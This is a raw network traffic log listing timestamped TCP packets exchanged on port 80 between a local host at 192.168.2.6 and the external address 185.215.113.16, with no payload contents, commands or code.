Oct 31, 2024 01:19:16.015104055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015120029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015132904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015161991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015212059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015243053 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015249014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015256882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015269041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015283108 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015291929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015305042 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015327930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015327930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015356064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015368938 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015377998 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015398979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015402079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015413046 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015419960 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015425920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015438080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015438080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015450954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015459061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015464067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015469074 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015481949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015487909 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015489101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015501976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015511036 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015523911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015541077 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015551090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015563965 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015567064 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015582085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015593052 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015594959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015607119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015605927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015619993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015625000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015631914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015645981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015646935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015656948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015670061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015675068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015681028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015695095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015714884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015738010 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016463995 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016510963 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016561031 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016572952 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016583920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016596079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016604900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016608953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016638041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016658068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016807079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016848087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016885042 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016896009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016906977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016931057 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016936064 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016942978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.016959906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.016988039 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.017024040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.017035961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.017047882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.017060041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.017061949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.017086983 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.017113924 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.017976999 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.017990112 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018002033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018013954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018026114 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018026114 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018037081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018057108 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018076897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018109083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018126965 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018138885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018150091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018179893 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018212080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018227100 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018241882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.018253088 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.018280029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.063488007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.063502073 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.063560009 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089055061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089092970 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089112043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089123011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089126110 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089135885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089147091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089159966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089179039 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089188099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089200974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089214087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089214087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089222908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089241028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089252949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089255095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089283943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089286089 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089298010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089308977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089325905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089338064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089350939 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089351892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089363098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089375019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089376926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089385033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089411974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089421988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089426994 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089435101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089446068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089456081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089463949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089468002 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089488029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089514017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089515924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089534044 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089545012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089557886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089559078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089581966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089581966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089596987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089598894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089610100 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089627981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089639902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089649916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089653015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089664936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089678049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089682102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089694023 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089699030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089704990 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089725018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089725018 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089739084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089745045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089749098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089761972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089764118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089773893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089782953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089791059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089807034 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089812040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089819908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089834929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089847088 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089850903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089874983 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089885950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089895964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089901924 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089906931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089920998 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089922905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089934111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089940071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089953899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089961052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089975119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089981079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.089987993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.089999914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090010881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090023041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090046883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090058088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090075970 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090079069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090087891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090092897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090106010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090118885 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090122938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090137959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090141058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090152979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090153933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090168953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090173006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090183020 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090190887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090198040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090204000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090210915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090217113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090228081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090229988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090240955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090241909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090255022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090260983 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090266943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090281963 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090310097 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090313911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090326071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090349913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090352058 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090363026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090375900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090394974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090408087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090668917 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090709925 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090810061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090821028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090831041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090842009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090850115 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090853930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090864897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090892076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090893984 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090904951 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090915918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090926886 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090926886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090939045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090950012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090959072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090981960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.090987921 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.090996027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091006994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091017962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091018915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091032028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091048002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091058016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091073036 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091074944 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091094017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091097116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091113091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091120005 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091124058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091133118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091134071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091160059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091160059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091165066 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091176987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091178894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091188908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091197014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091202021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091212034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091218948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091231108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091237068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091248989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091259003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091259956 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091270924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091284037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091293097 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091294050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091306925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091324091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091331005 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091336966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091339111 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091348886 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091357946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091382980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091382980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091402054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091413021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091423035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091425896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091437101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091447115 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091468096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091474056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091481924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091492891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091506958 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091517925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091530085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091532946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091541052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091562986 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091571093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091573954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091586113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091595888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091608047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091613054 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091619968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091634035 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091645002 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091660976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091665030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091671944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091679096 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091684103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091696978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091707945 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091722012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091733932 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091736078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091748953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091758013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091773987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091784000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091784000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091798067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091806889 CET	80	49995	185.215.113.16	192.168.2.6
